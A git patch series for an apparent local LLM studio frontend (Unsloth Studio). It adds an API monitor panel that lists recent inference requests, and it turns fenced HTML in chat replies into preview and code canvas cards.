+  context_usage?: number | null;
+  prompt_tokens?: number | null;
+  completion_tokens?: number | null;
+  total_tokens?: number | null;
+  error?: string | null;
+}
+
+export interface ApiMonitorResponse {
+  status: "idle" | "ready" | "generating";
+  active_model?: string | null;
+  context_length?: number | null;
+  active_requests: number;
+  entries: ApiMonitorEntry[];
+}
+
 export interface AudioGenerationResponse {
   id: string;
   object: string;
diff --git a/studio/frontend/src/features/settings/components/api-monitor-console.tsx b/studio/frontend/src/features/settings/components/api-monitor-console.tsx
new file mode 100644
index 0000000000..36d09115ae
--- /dev/null
+++ b/studio/frontend/src/features/settings/components/api-monitor-console.tsx
@@ -0,0 +1,393 @@
+// SPDX-License-Identifier: AGPL-3.0-only
+// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import { Button } from "@/components/ui/button";
+import { cn } from "@/lib/utils";
+import {
+  ActivityIcon,
+  ChevronDownIcon,
+  CircleIcon,
+  RefreshCwIcon,
+} from "lucide-react";
+import {
+  type ReactElement,
+  useCallback,
+  useEffect,
+  useMemo,
+  useRef,
+  useState,
+} from "react";
+import { getApiMonitor, getApiMonitorEntry } from "../../chat/api/chat-api";
+import type { ApiMonitorEntry, ApiMonitorResponse } from "../../chat/types/api";
+
+const API_INFERENCE_PREFIX_RE = /^\/api\/inference/;
+const V1_PREFIX_RE = /^\/v1\//;
+
+function formatTime(value: number): string {
+  return new Date(value * 1000).toLocaleTimeString([], {
+    hour: "2-digit",
+    minute: "2-digit",
+    second: "2-digit",
+  });
+}
+
+function formatDuration(value?: number | null): string {
+  if (value == null) {
+    return "Running";
+  }
+  if (value < 1000) {
+    return `${value} ms`;
+  }
+  return `${(value / 1000).toFixed(value < 10000 ? 1 : 0)} s`;
+}
+
+function formatTokens(entry: ApiMonitorEntry): string {
+  if (entry.total_tokens != null) {
+    return `${entry.total_tokens.toLocaleString()} tokens`;
+  }
+  if (entry.prompt_tokens != null || entry.completion_tokens != null) {
+    const prompt = entry.prompt_tokens ?? 0;
+    const completion = entry.completion_tokens ?? 0;
+    return `${(prompt + completion).toLocaleString()} tokens`;
+  }
+  return "Tokens pending";
+}
+
+function compactEndpoint(endpoint: string): string {
+  return endpoint
+    .replace(API_INFERENCE_PREFIX_RE, "/api")
+    .replace(V1_PREFIX_RE, "/");
+}
+
+function statusTone(status: ApiMonitorEntry["status"]): string {
+  if (status === "running") {
+    return "text-emerald-500";
+  }
+  if (status === "error") {
+    return "text-destructive";
+  }
+  if (status === "cancelled") {
+    return "text-amber-500";
+  }
+  return "text-muted-foreground";
+}
+
+function UsageBar({ value }: { value?: number | null }): ReactElement | null {
+  if (value == null) {
+    return null;
+  }
+  const pct = Math.max(0, Math.min(100, Math.round(value * 100)));
+  return (
+    <div className="mt-2 h-1.5 w-full overflow-hidden rounded-full bg-muted">
+      <div
+        className="h-full rounded-full bg-primary"
+        style={{ width: `${pct}%` }}
+      />
+    </div>
+  );
+}
+
+function MonitorEntry({
+  entry,
+  detail,
+  expanded,
+  loading,
+  onToggle,
+}: {
+  entry: ApiMonitorEntry;
+  detail?: ApiMonitorEntry;
+  expanded: boolean;
+  loading: boolean;
+  onToggle: () => void;
+}): ReactElement {
+  const hasCurrentDetail =
+    detail &&
+    detail.status === entry.status &&
+    detail.updated_at >= entry.updated_at;
+  const prompt = detail?.prompt ?? entry.prompt_preview;
+  const replyText = hasCurrentDetail
+    ? detail.error ?? detail.reply ?? entry.error ?? entry.reply_preview
+    : entry.error ?? entry.reply_preview;
+  const reply = replyText || (entry.status === "running" ? "Waiting..." : "No reply");
+
+  return (
+    <article className="rounded-lg border border-border/70 bg-background">
+      <button
+        type="button"
+        onClick={onToggle}
+        className="flex w-full min-w-0 items-start justify-between gap-3 p-3 text-left"
+        aria-expanded={expanded}
+      >
+        <div className="min-w-0">
+          <div className="flex min-w-0 items-center gap-2">
+            <CircleIcon
+              className={cn("size-2.5 fill-current", statusTone(entry.status))}
+            />
+            <span className="truncate text-xs font-medium">
+              {compactEndpoint(entry.endpoint)}
+            </span>
+          </div>
+          <div className="mt-1 truncate text-[11px] text-muted-foreground">
+            {entry.model}
+          </div>
+          <div className="mt-2 line-clamp-2 whitespace-pre-wrap break-words text-xs text-muted-foreground">
+            {entry.error ||
+              entry.reply_preview ||
+              entry.prompt_preview ||
+              (entry.status === "running" ? "Waiting..." : "No preview")}
+          </div>
+        </div>
+        <div className="flex shrink-0 items-start gap-2 text-right text-[11px] text-muted-foreground">
+          <div>
+            <div>{formatTime(entry.started_at)}</div>
+            <div>{formatDuration(entry.duration_ms)}</div>
+          </div>
+          <ChevronDownIcon
+            className={cn(
+              "mt-0.5 size-3.5 transition-transform",
+              expanded && "rotate-180",
+            )}
+          />
+        </div>
+      </button>
+
+      {expanded ? (
+        <div className="border-t border-border/60 p-3 pt-2">
+          <div className="grid gap-2">
+            <div>
+              <div className="mb-1 flex items-center justify-between gap-2 text-[10px] font-semibold uppercase text-muted-foreground">
+                <span>Prompt</span>
+                {entry.prompt_truncated && !detail ? <span>Preview</span> : null}
+              </div>
+              <pre className="max-h-44 overflow-auto whitespace-pre-wrap break-words rounded-md bg-muted/45 p-2 text-xs leading-5">
+                {loading && !detail ? "Loading..." : prompt || "No prompt text"}
+              </pre>
+            </div>
+            <div>
+              <div className="mb-1 flex items-center justify-between gap-2 text-[10px] font-semibold uppercase text-muted-foreground">
+                <span>Reply</span>
+                {entry.reply_truncated && !detail ? <span>Preview</span> : null}
+              </div>
+              <pre className="max-h-44 overflow-auto whitespace-pre-wrap break-words rounded-md bg-muted/45 p-2 text-xs leading-5">
+                {loading && !detail ? "Loading..." : reply}
+              </pre>
+            </div>
+          </div>
+
+          <div className="mt-3 text-[11px] text-muted-foreground">
+            {formatTokens(entry)}
+            {entry.context_length ? (
+              <> / {entry.context_length.toLocaleString()} context</>
+            ) : null}
+            <UsageBar value={entry.context_usage} />
+          </div>
+        </div>
+      ) : null}
+    </article>
+  );
+}
+
+export function ApiMonitorConsole(): ReactElement {
+  const [data, setData] = useState<ApiMonitorResponse | null>(null);
+  const [error, setError] = useState<string | null>(null);
+  const [refreshing, setRefreshing] = useState(false);
+  const [expandedIds, setExpandedIds] = useState<Set<string>>(() => new Set());
+  const [details, setDetails] = useState<Record<string, ApiMonitorEntry>>({});
+  const [loadingDetails, setLoadingDetails] = useState<Set<string>>(
+    () => new Set(),
+  );
+  const loadingDetailsRef = useRef<Set<string>>(new Set());
+  const detailsRef = useRef<Record<string, ApiMonitorEntry>>({});
+
+  const loadMonitor = useCallback(async (): Promise<void> => {
+    setRefreshing(true);
+    try {
+      setData(await getApiMonitor());
+      setError(null);
+    } catch (err: unknown) {
+      setError(err instanceof Error ? err.message : "Monitor unavailable");
+    } finally {
+      setRefreshing(false);
+    }
+  }, []);
+
+  useEffect(() => {
+    let cancelled = false;
+    let timer: number | undefined;
+
+    function schedule(): void {
+      timer = window.setTimeout(poll, 1500);
+    }
+
+    function poll(): void {
+      getApiMonitor()
+        .then((next) => {
+          if (cancelled) {
+            return;
+          }
+          setData(next);
+          setError(null);
+        })
+        .catch((err: unknown) => {
+          if (cancelled) {
+            return;
+          }
+          setError(err instanceof Error ? err.message : "Monitor unavailable");
+        })
+        .finally(() => {
+          if (!cancelled) {
+            schedule();
+          }
+        });
+    }
+
+    poll();
+    return () => {
+      cancelled = true;
+      if (timer !== undefined) {
+        window.clearTimeout(timer);
+      }
+    };
+  }, []);
+
+  const statusLabel = data?.status ?? "idle";
+  const hasActive = (data?.active_requests ?? 0) > 0;
+  const entries = useMemo(() => data?.entries ?? [], [data]);
+  const loadDetail = useCallback(
+    (id: string): void => {
+      if (loadingDetailsRef.current.has(id)) {
+        return;
+      }
+      loadingDetailsRef.current.add(id);
+      setLoadingDetails((prev) => new Set(prev).add(id));
+      getApiMonitorEntry(id)
+        .then((entry) => {
+          setDetails((prev) => {
+            const next = { ...prev, [id]: entry };
+            detailsRef.current = next;
+            return next;
+          });
+        })
+        .catch(() => {
+          setDetails((prev) => {
+            const next = { ...prev };
+            delete next[id];
+            detailsRef.current = next;
+            return next;
+          });
+        })
+        .finally(() => {
+          loadingDetailsRef.current.delete(id);
+          setLoadingDetails((prev) => {
+            const next = new Set(prev);
+            next.delete(id);
+            return next;
+          });
+        });
+    },
+    [],
+  );
+
+  const toggleEntry = useCallback(
+    (entry: ApiMonitorEntry): void => {
+      setExpandedIds((prev) => {
+        const next = new Set(prev);
+        if (next.has(entry.id)) {
+          next.delete(entry.id);
+        } else {
+          next.add(entry.id);
+          loadDetail(entry.id);
+        }
+        return next;
+      });
+    },
+    [loadDetail],
+  );
+
+  useEffect(() => {
+    for (const entry of entries) {
+      if (!expandedIds.has(entry.id)) {
+        continue;
+      }
+      const cached = detailsRef.current[entry.id];
+      if (!cached || cached.status !== entry.status || entry.status === "running") {
+        loadDetail(entry.id);
+      }
+    }
+  }, [entries, expandedIds, loadDetail]);
+
+  return (
+    <section className="flex min-w-0 flex-col rounded-lg border border-border/70 bg-background">
+      <div className="flex min-w-0 items-start justify-between gap-3 border-b border-border/60 px-4 py-3">
+        <div className="flex min-w-0 gap-3">
+          <div className="relative mt-0.5 flex size-8 shrink-0 items-center justify-center rounded-md border border-border/70 bg-muted/40">
+            <ActivityIcon className="size-4 text-foreground" />
+            {hasActive ? (
+              <span className="absolute right-1 top-1 size-2 rounded-full bg-emerald-500" />
+            ) : null}
+          </div>
+          <div className="min-w-0">
+            <h2 className="text-sm font-semibold text-foreground">
+              API monitor
+            </h2>
+            <p className="truncate text-xs text-muted-foreground">
+              {data?.active_model ?? "No model loaded"}
+            </p>
+          </div>
+        </div>
+        <div className="flex shrink-0 items-center gap-2">
+          <div className="rounded-full border border-border px-2.5 py-1 text-xs capitalize text-muted-foreground">
+            {statusLabel}
+          </div>
+          <Button
+            type="button"
+            variant="ghost"
+            size="sm"
+            onClick={() => void loadMonitor()}
+            disabled={refreshing}
+          >
+            <RefreshCwIcon
+              className={cn("size-3.5", refreshing && "animate-spin")}
+            />
+            Refresh
+          </Button>
+        </div>
+      </div>
+
+      <div className="flex items-center justify-between border-b border-border/60 px-4 py-2 text-xs text-muted-foreground">
+        <span>
+          {(data?.active_requests ?? 0).toLocaleString()} active /{" "}
+          {entries.length.toLocaleString()} recent
+        </span>
+        {data?.context_length ? (
+          <span>{data.context_length.toLocaleString()} context</span>
+        ) : null}
+      </div>
+
+      <div className="max-h-[420px] min-h-24 overflow-y-auto p-3">
+        {error ? (
+          <div className="rounded-lg border border-destructive/40 bg-destructive/10 p-3 text-sm text-destructive">
+            {error}
+          </div>
+        ) : entries.length === 0 ? (
+          <div className="rounded-lg border border-border/70 p-4 text-sm text-muted-foreground">
+            No API traffic yet
+          </div>
+        ) : (
+          <div className="grid gap-3">
+            {entries.map((entry) => (
+              <MonitorEntry
+                key={entry.id}
+                entry={entry}
+                detail={details[entry.id]}
+                expanded={expandedIds.has(entry.id)}
+                loading={loadingDetails.has(entry.id)}
+                onToggle={() => toggleEntry(entry)}
+              />
+            ))}
+          </div>
+        )}
+      </div>
+    </section>
+  );
+}
diff --git a/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx b/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx
index 64f3ef6621..e83ecebfc8 100644
--- a/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx
+++ b/studio/frontend/src/features/settings/tabs/api-keys-tab.tsx
@@ -14,6 +14,7 @@ import { translate, useT } from "@/i18n";
 import { AnimatePresence, motion, useReducedMotion } from "motion/react";
 import { useCallback, useEffect, useState } from "react";
 import { fetchApiKeys, revokeApiKey, type ApiKey } from "../api/api-keys";
+import { ApiMonitorConsole } from "../components/api-monitor-console";
 import { ApiKeyRow } from "../components/api-key-row";
 import { CreateKeyForm } from "../components/create-key-form";
 import { KeyRevealCard } from "../components/key-reveal-card";
@@ -166,6 +167,8 @@ export function ApiKeysTab() {
         )}
       </section>
 
+      <ApiMonitorConsole />
+
       <UsageExamples apiKey={revealed} />
 
       <Dialog open={revokeTarget !== null} onOpenChange={(o) => !o && setRevokeTarget(null)}>

From e1eaf6e202e5b6b5d7abbb762065a3325b8ee155 Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Tue, 16 Jun 2026 17:38:42 -0700
Subject: [PATCH 37/91] Studio: HTML canvas cards in chat with auto-render, a
 Code view, and visible diffusion code (#6374)

* Studio: auto-render fenced HTML in chat replies as canvas cards

After an assistant reply finishes, append a clickable canvas card for each fenced html block in its text, with no render_html tool call and no extra message. Fragments and non-collapsed documents are covered; full documents already collapsed in place and blocks rendered by the render_html tool are skipped so nothing shows twice.

Hoists the fence helpers out of markdown-text.tsx into a shared module (html-fences.ts) and adds a line-based multi-fence scanner so several html blocks in one reply are all found.

* Studio: add HTML Code button to canvas cards and keep diffusion code visible

When Canvas mode is on or a diffusion model is loaded, the canvas card shows a Preview and an HTML Code button side by side; Code opens the panel source view. The requested view is threaded through openArtifact so the surface opens to preview or code.

Diffusion no longer collapses its full HTML answer, so the raw code stays in the message and the trailing canvas card is appended next to it.

* Studio: drop the Code button on diffusion cards since their code is already inline

* Studio: address review feedback on HTML canvas auto-cards

- Build the fence-body indent regex once per fence instead of per line.
- Only skip full-doc fences the in-place collapse can render (plain
  unindented triple-backtick), so 4-backtick or indented docs still get a card.
- Scan each text part on its own so a fence cannot stitch across a tool,
  source, or reasoning part.
- Exclude diffusion replies from the collapse/skip gates and the card Code
  button, since diffusion keeps its HTML inline.

---------

Co-authored-by: Daniel Han <michaelhan2050@gmail.com>
---
 .../components/assistant-ui/markdown-text.tsx |  85 ++--------
 .../assistant-ui/message-html-artifacts.tsx   | Bin 0 -> 2767 bytes
 .../src/components/assistant-ui/thread.tsx    |   2 +
 .../features/chat/artifacts/artifact-card.tsx | 106 ++++++++-----
 .../chat/artifacts/artifact-surface.tsx       |   7 +
 .../features/chat/artifacts/html-fences.ts    | 145 ++++++++++++++++++
 .../src/features/chat/artifacts/store.ts      |   7 +-
 7 files changed, 238 insertions(+), 114 deletions(-)
 create mode 100644 studio/frontend/src/components/assistant-ui/message-html-artifacts.tsx
 create mode 100644 studio/frontend/src/features/chat/artifacts/html-fences.ts

diff --git a/studio/frontend/src/components/assistant-ui/markdown-text.tsx b/studio/frontend/src/components/assistant-ui/markdown-text.tsx
index efdef37e72..40fc8b8da6 100644
--- a/studio/frontend/src/components/assistant-ui/markdown-text.tsx
+++ b/studio/frontend/src/components/assistant-ui/markdown-text.tsx
@@ -4,6 +4,13 @@
 "use client";
 
 import { ArtifactCard, useChatRuntimeStore } from "@/features/chat";
+import {
+  getCodeFence,
+  isFullHtmlDocument,
+  isHtmlFence,
+  isRenderableRenderHtmlToolPart,
+  isSvgFence,
+} from "@/features/chat/artifacts/html-fences";
 import { copyToClipboard } from "@/lib/copy-to-clipboard";
 import { preprocessLaTeX } from "@/lib/latex";
 import { openLink } from "@/lib/open-link";
@@ -45,62 +52,16 @@ const STREAMDOWN_COMPONENTS = {
 };
 const COPY_RESET_MS = 2000;
 const MERMAID_SOURCE_RE = /```mermaid\s*([\s\S]*?)```/i;
-const CODE_FENCE_RE = /^```([^\r\n`]*)\r?\n([\s\S]*?)\r?\n?```$/;
 const ACTION_PANEL_CLASS =
   "pointer-events-auto flex shrink-0 items-center gap-1";
 const ACTION_BUTTON_CLASS =
   "flex size-8 cursor-pointer items-center justify-center rounded-[10px] text-chat-icon-fg transition-all hover:bg-chat-icon-bg-hover hover:text-chat-icon-fg-hover disabled:cursor-not-allowed disabled:opacity-50";
 
-type CodeFence = {
-  language: string | null;
-  source: string;
-};
-
-type ToolCallPartLike = {
-  type?: string;
-  toolName?: string;
-  args?: unknown;
-  result?: unknown;
-};
-
-function isRenderableRenderHtmlToolPart(part: unknown): boolean {
-  const toolPart = part as ToolCallPartLike;
-  if (toolPart.type !== "tool-call" || toolPart.toolName !== "render_html") {
-    return false;
-  }
-  if (
-    typeof toolPart.result === "string" &&
-    toolPart.result.startsWith("Error:")
-  ) {
-    return false;
-  }
-  if (
-    typeof toolPart.result === "string" &&
-    toolPart.result.startsWith("Rendered HTML canvas")
-  ) {
-    return true;
-  }
-  const args = toolPart.args as { code?: unknown } | undefined;
-  return typeof args?.code === "string" && args.code.trim().length > 0;
-}
-
 function getMermaidSource(blockContent: string): string | null {
   const source = blockContent.match(MERMAID_SOURCE_RE)?.[1]?.trim();
   return source && source.length > 0 ? source : null;
 }
 
-function getCodeFence(blockContent: string): CodeFence | null {
-  const match = blockContent.trimEnd().match(CODE_FENCE_RE);
-  if (!match) {
-    return null;
-  }
-
-  return {
-    language: match[1]?.trim() || null,
-    source: match[2],
-  };
-}
-
 function getCodeFilename(language: string | null) {
   const extByLanguage: Record<string, string> = {
     bash: "sh",
@@ -131,28 +92,6 @@ function getCodeFilename(language: string | null) {
   return `snippet.${ext}`;
 }
 
-function isSvgFence(codeFence: CodeFence): boolean {
-  const lang = codeFence.language?.toLowerCase() ?? "";
-  if (lang === "svg") return true;
-  if (lang === "xml" || lang === "html") {
-    const trimmed = codeFence.source.trimStart();
-    // Match <svg directly or <?xml ...?> followed by <svg
-    if (trimmed.startsWith("<svg")) return true;
-    if (trimmed.startsWith("<?xml") && trimmed.includes("<svg")) return true;
-  }
-  return false;
-}
-
-function isHtmlFence(codeFence: CodeFence): boolean {
-  const lang = codeFence.language?.toLowerCase() ?? "";
-  return lang === "html" && !isSvgFence(codeFence);
-}
-
-function isFullHtmlDocument(source: string): boolean {
-  const trimmed = source.trimStart();
-  return /^<!doctype\s+html\b/i.test(trimmed) || /^<html[\s>]/i.test(trimmed);
-}
-
 const UNSAFE_SVG_RE =
   /<script[\s>]|on\w+\s*=|javascript:|<foreignObject[\s>]|<iframe[\s>]|<embed[\s>]|<object[\s>]/i;
 
@@ -285,15 +224,13 @@ function CodeBlockActions({
   );
 }
 
-// DiffusionGemma renders its denoising live in the bubble (see DiffusionCanvas in
-// thread.tsx) and has the HTML canvas feature on by default, so a full-HTML answer
-// (e.g. a playable game) renders as an interactive card without the global toggle.
+// Collapse a full-HTML answer in place into an artifact card. Diffusion keeps the
+// raw code visible instead (the trailing MessageHtmlArtifacts appends its card).
 function StreamdownBlock(props: BlockProps) {
   const shouldCollapseHtmlArtifacts = useChatRuntimeStore(
     (state) =>
-      state.artifactsEnabled ||
-      state.collapseHtmlArtifacts ||
-      state.loadedIsDiffusion,
+      (state.artifactsEnabled || state.collapseHtmlArtifacts) &&
+      !state.loadedIsDiffusion,
   );
   const messageHasRenderableRenderHtmlTool = useAuiState(({ message }) =>
     message.parts.some(isRenderableRenderHtmlToolPart),
diff --git a/studio/frontend/src/components/assistant-ui/message-html-artifacts.tsx b/studio/frontend/src/components/assistant-ui/message-html-artifacts.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7555287211b21d411d80c88f6b49c092eac99ce0
GIT binary patch
literal 2767
zcmb7GT~8x76zy|<#bs2j5;d7@snmyM({0K}7YSHIXjN&oTFi`xadGUC?ExY-|Gnqh
zGa-OlsXSx``}%&IbMEy_r?faf_-k^a3TeEY9GB7rRVnG-(fs%GlgUr{+le)LHJDCm
z-!?0!Zt6h0Z+Cy5G){V0Q>Z2VVZ64Xrui`)n<A$m#WJV4))WtTVq147%bXTc($t5x
zRCaoDynlGMIL!M{gF)7MNrhH$ob3%b>L*i35{88L$_IgfOX<D1kyI(8d@cQ$MAJx9
zk~KIh%$@LfxRM&_sFFBe($&>f9hRCMUTa(2k}{-%N1_iQr!$KLO)1@1Hlkpyh6k<3
zWGunLi9Tpf2eOh52Q3%Q{!lmKG$Pb-Roq!sQrR|I6(UIgj{L1^umza<%<pT7f?maB
zZ$djM%2l_A%vC^rC@y)aT3}k*qFn-^<W!kSqXj@Jtk$9del_g1^!Z?*mW_3R9%=4C
zt0=-ga2XRo-mgWtXhHT;E`oKE)>JvWr0myeB}HgK*tCERSm>P$C}B~Ak3i{&f%Ri7
zDt{5d6W3a%H{QPli08tE@!(%PPq7(u@>52A5}EQ_@i@(Ss}=z;KBc$O!K77FU{!3V
zNMY4TI@*sVp30@&oa-$a<2j)+2S!9-y%-zF7Dek=6kKyuMRZXz&$m)GaS0?lfbJ!p
zoRhaC*k8;XFp!aVkb(~?6g8+5g|ps+Xk*QUl@=Y)a7$m_wyuz4&@H?*%G`|dL1B##
zbUweh{JJ>AV}AMRf@YL`#~mRbBBROXG<5>Q-4hJG9qq$<IHK7v^ay&8-~tMy`&wz_
z91v=WKzo$!%x2_T!(lTB59JgV1$fd{l*qqE!&wIz>t4Cg6v2q|1MBH1f^88sgaOg;
zu|GlUm`JDm93325{~?b&%@9B96JRBc_BQTo(W$D}(u*)JBgC+Ml*m)=?NSc^Tb!d!
zRG{>y@(L2(nlu~EJZ6ht(GcTc!_+v=2~3~FAzrK_>6~>wx`oGE*@WkE>9hhER-W!v
zs3AF?44iR%0hA8H2`$FY3TL^Ed&oJR-?Y8{KTv?IfKd_QA<8SIgLK0o$BV@9%N83P
zBBM8NC`)fhFPiq}m!jD^9Nhpf3>Y@Ys0$8a0_QpZKk85YZIu~57xXjakGiRbUg^f4
zukF2|>s7?$)r8x_AS!gr8m$0&sj8~=${J=9utVuZ9oyE&Az#>1qPMle{h**-4A>`7
z`>E+Ui33~sgzn4v*y)<}D;c=1v|(Jx0b&|uhlZzMN#DK!3z+7;`)55m0>Yhxon)3e
z?${q}mx6YHRcg019aC;R*oIFHjtN{53%%<{#D3L1qc{q<HJ!w8H}v@n_ZrbU{&tH@
z8Vjt;E%&&@!b{@%%}R@K`b-Wu?I2w)HQf$LW*ZrF;_Dn>O2neJ(By>raTOabwuTl^
zVOKvdypqFHzie(k_LTm1Qj}cv1jnnBB_3U3{hR~Dgn6|mtT#{1%)a7uT94`T2I}!^
zpfMFX5XY}weMyWmU8$a2OLK$oCZ2?EdyYCX4D`qxtyu)!T2kTrQr+Pr2{+-HSjt(p
z43k}|w0wv^6I4JqqM7Vwy-FXuXt8_a`<PU0|KyOXdq3a$MA%S7XrtBaQ6-tM9SgFQ
zv*Z#pmhZ3aU0i+|+bY#WA1M2Hd3r+lTD(*8KBISZwY@;!!}JIGaecMzB)OesG1qL9
V&9pCQG)mU*r+|VN0qlBj@DKPJd_VvI

literal 0
HcmV?d00001

diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index ee3754bdf6..c9dfb348d9 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -11,6 +11,7 @@ import {
 } from "@/components/assistant-ui/generated-image-overlay-context";
 import { downloadImagePart } from "@/components/assistant-ui/image";
 import { MarkdownText } from "@/components/assistant-ui/markdown-text";
+import { MessageHtmlArtifacts } from "@/components/assistant-ui/message-html-artifacts";
 import { MessageTiming } from "@/components/assistant-ui/message-timing";
 import { Reasoning, ReasoningGroup } from "@/components/assistant-ui/reasoning";
 import { RagSourcesGroup } from "@/components/assistant-ui/rag-sources";
@@ -3227,6 +3228,7 @@ const AssistantMessage: FC = () => {
         />
         <SourcesGroup />
         <RagSourcesGroup />
+        <MessageHtmlArtifacts />
         <MessageError />
       </div>
 
diff --git a/studio/frontend/src/features/chat/artifacts/artifact-card.tsx b/studio/frontend/src/features/chat/artifacts/artifact-card.tsx
index 561cb04041..a1dabe8ecd 100644
--- a/studio/frontend/src/features/chat/artifacts/artifact-card.tsx
+++ b/studio/frontend/src/features/chat/artifacts/artifact-card.tsx
@@ -3,12 +3,14 @@
 
 "use client";
 
+import { CodeToggleIcon } from "@/components/assistant-ui/code-toggle-icon";
 import { cn } from "@/lib/utils";
 import { useAuiState } from "@assistant-ui/react";
 import { LayoutTwoColumnIcon as Layout2ColumnIcon } from "@hugeicons/core-free-icons";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useLayoutEffect, useMemo } from "react";
 import { useChatRuntimeStore } from "../stores/chat-runtime-store";
+import type { ArtifactViewMode } from "./html-frame";
 import {
   hasAutoOpenedArtifact,
   rememberAutoOpenedArtifact,
@@ -20,6 +22,9 @@ import {
   createChatArtifact,
 } from "./types";
 
+const CARD_BASE =
+  "group/artifact-card relative flex min-h-[52px] cursor-pointer items-center overflow-hidden rounded-lg border border-border/70 bg-muted/15 px-3 py-2 text-left transition-colors hover:bg-muted/25 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 dark:bg-muted/10 dark:hover:bg-muted/20";
+
 export function ArtifactCard({
   code,
   title,
@@ -40,6 +45,11 @@ export function ArtifactCard({
   isStreaming?: boolean;
 }) {
   const activeThreadId = useChatRuntimeStore((state) => state.activeThreadId);
+  // Canvas mode collapses the raw code in place, so offer a Code button too.
+  // Diffusion keeps its code inline, so it needs no Code button.
+  const showCodeButton = useChatRuntimeStore(
+    (state) => state.artifactsEnabled && !state.loadedIsDiffusion,
+  );
   const messageIdFromContext = useAuiState(({ message }) => message.id);
   const threadIdFromContext = useAuiState(
     ({ threads }) => threads.mainThreadId,
@@ -87,7 +97,7 @@ export function ArtifactCard({
     }
 
     rememberAutoOpenedArtifact(artifact.id);
-    openArtifact(artifact, { surface });
+    openArtifact(artifact, { surface, view: "preview" });
   }, [
     artifact,
     autoOpen,
@@ -97,45 +107,63 @@ export function ArtifactCard({
     updateArtifact,
   ]);
 
-  return (
-    <button
-      type="button"
-      className={cn(
-        "group/artifact-card relative my-2 flex min-h-[52px] w-full max-w-md cursor-pointer items-center overflow-hidden rounded-lg border border-border/70 bg-muted/15 px-3 py-2 text-left transition-colors hover:bg-muted/25 focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2",
-        "dark:bg-muted/10 dark:hover:bg-muted/20",
-        isStreaming &&
-          "border-border/80 bg-muted/20 dark:border-border/70 dark:bg-muted/15",
-        className,
-      )}
-      onClick={() => openArtifact(artifact, { surface })}
-      aria-label={`Open ${artifact.title}`}
-    >
-      {isStreaming ? (
-        <span
-          aria-hidden={true}
-          className="artifact-card-shimmer pointer-events-none absolute inset-0 z-0 motion-reduce:hidden"
-        />
-      ) : null}
-      <div className="relative z-10 flex min-w-0 flex-1 items-center gap-2.5">
-        <HugeiconsIcon
-          icon={Layout2ColumnIcon}
-          strokeWidth={1.75}
-          className="size-5 shrink-0 text-muted-foreground"
-        />
-        <span className="grid min-w-0 flex-1 gap-1">
-          <span className="truncate text-sm font-medium leading-tight text-foreground">
-            {artifact.title}
-          </span>
-          <span className="truncate text-[11px] leading-none text-muted-foreground">
-            HTML canvas
-          </span>
-        </span>
+  const renderButton = (view: ArtifactViewMode) => {
+    const isCode = view === "source";
+    return (
+      <button
+        key={view}
+        type="button"
+        className={cn(
+          CARD_BASE,
+          showCodeButton ? "min-w-0 flex-1" : "w-full max-w-md",
+          isStreaming &&
+            "border-border/80 bg-muted/20 dark:border-border/70 dark:bg-muted/15",
+        )}
+        onClick={() => openArtifact(artifact, { surface, view })}
+        aria-label={`Open ${artifact.title} ${isCode ? "code" : "preview"}`}
+      >
         {isStreaming ? (
-          <span className="shimmer shrink-0 rounded-full bg-primary/10 px-2 py-0.5 text-[10px] font-medium text-primary motion-reduce:animate-none">
-            Generating
-          </span>
+          <span
+            aria-hidden={true}
+            className="artifact-card-shimmer pointer-events-none absolute inset-0 z-0 motion-reduce:hidden"
+          />
         ) : null}
-      </div>
-    </button>
+        <div className="relative z-10 flex min-w-0 flex-1 items-center gap-2.5">
+          {isCode ? (
+            <CodeToggleIcon className="size-5 shrink-0 text-muted-foreground" />
+          ) : (
+            <HugeiconsIcon
+              icon={Layout2ColumnIcon}
+              strokeWidth={1.75}
+              className="size-5 shrink-0 text-muted-foreground"
+            />
+          )}
+          <span className="grid min-w-0 flex-1 gap-1">
+            <span className="truncate text-sm font-medium leading-tight text-foreground">
+              {isCode ? "HTML Code" : artifact.title}
+            </span>
+            <span className="truncate text-[11px] leading-none text-muted-foreground">
+              HTML canvas
+            </span>
+          </span>
+          {isStreaming && !isCode ? (
+            <span className="shimmer shrink-0 rounded-full bg-primary/10 px-2 py-0.5 text-[10px] font-medium text-primary motion-reduce:animate-none">
+              Generating
+            </span>
+          ) : null}
+        </div>
+      </button>
+    );
+  };
+
+  if (!showCodeButton) {
+    return <div className={cn("my-2", className)}>{renderButton("preview")}</div>;
+  }
+
+  return (
+    <div className={cn("my-2 flex w-full max-w-xl gap-2", className)}>
+      {renderButton("preview")}
+      {renderButton("source")}
+    </div>
   );
 }
diff --git a/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx b/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
index 2d5cbabe8d..b27acdf6ee 100644
--- a/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
+++ b/studio/frontend/src/features/chat/artifacts/artifact-surface.tsx
@@ -31,6 +31,7 @@ import {
 } from "react";
 import { Streamdown } from "streamdown";
 import { ArtifactHtmlFrame, type ArtifactViewMode } from "./html-frame";
+import { useChatArtifactsStore } from "./store";
 import type { ChatArtifact } from "./types";
 import { getArtifactFilename } from "./types";
 
@@ -119,6 +120,8 @@ export function ArtifactSurface({
   onOpenFullscreen?: () => void;
 }) {
   const [viewMode, setViewMode] = useState<ArtifactViewMode>("preview");
+  // Follow the view the opener asked for (Preview vs Code button), per artifact.
+  const requestedView = useChatArtifactsStore((state) => state.requestedView);
   const [copied, setCopied] = useState(false);
   const copyResetRef = useRef<ReturnType<typeof setTimeout> | null>(null);
   const surfaceRef = useRef<HTMLElement>(null);
@@ -138,6 +141,10 @@ export function ArtifactSurface({
     };
   }, []);
 
+  useEffect(() => {
+    setViewMode(requestedView);
+  }, [artifact.id, requestedView]);
+
   useEffect(() => {
